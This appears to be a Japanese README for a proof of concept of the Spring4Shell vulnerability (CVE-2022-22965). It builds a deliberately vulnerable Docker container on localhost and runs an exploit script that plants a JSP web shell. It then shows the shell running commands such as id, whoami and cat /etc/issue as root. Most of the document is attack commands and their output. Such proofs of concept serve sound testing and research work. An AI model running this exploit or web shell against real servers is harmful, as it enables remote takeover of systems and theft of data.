CVE-2022-22965 (Spring4Shell) 概念実証

Spring Core で RCE（リモートコード実行）をテストする

イメージをビルドする

BuildKit ベースのビルドが必要なため、有効にする必要があります。

最も簡単な方法は、docker build コマンドを実行するときに DOCKER_BUILDKIT=1 環境変数を設定することです。例：

$ DOCKER_BUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core

あるいは、Docker BuildKit をデフォルトで有効にするには、/etc/docker/daemon.json のデーモン設定で features を true に設定し、デーモンを再起動します。

{ "features": { "buildkit": true } }

この方法なら、以下のように簡単に実行できます。

$ docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core

脆弱なアプリケーションをテストする

$ curl localhost:8080/spring4shell/exploitme
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Spring4Shell PoC Spring Application</title>
</head>
<body>
    Hello World! Exploit me!
</body>
</html>

エクスプロイトを実行する

$ python3 exploit-core.py --url "http://localhost:8080/spring4shell/exploitme" --file shell
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://localhost:8080/shell.jsp?cmd=id

すべてが正常に動作した場合は、Tomcat の HTTP ポートを介してコンテナ内で任意のコマンドを実行できます。例：

$ curl http://localhost:8080/shell.jsp\?cmd\=id --output -
uid=0(root) gid=0(root) groups=0(root)

//

$ curl http://localhost:8080/shell.jsp\?cmd\=whoami --output -
root

//

$ curl http://localhost:8080/shell.jsp\?cmd\=cat%20/etc/issue --output -
Debian GNU/Linux 11 \n \l


//

CVE-2022-22965-PoC

人気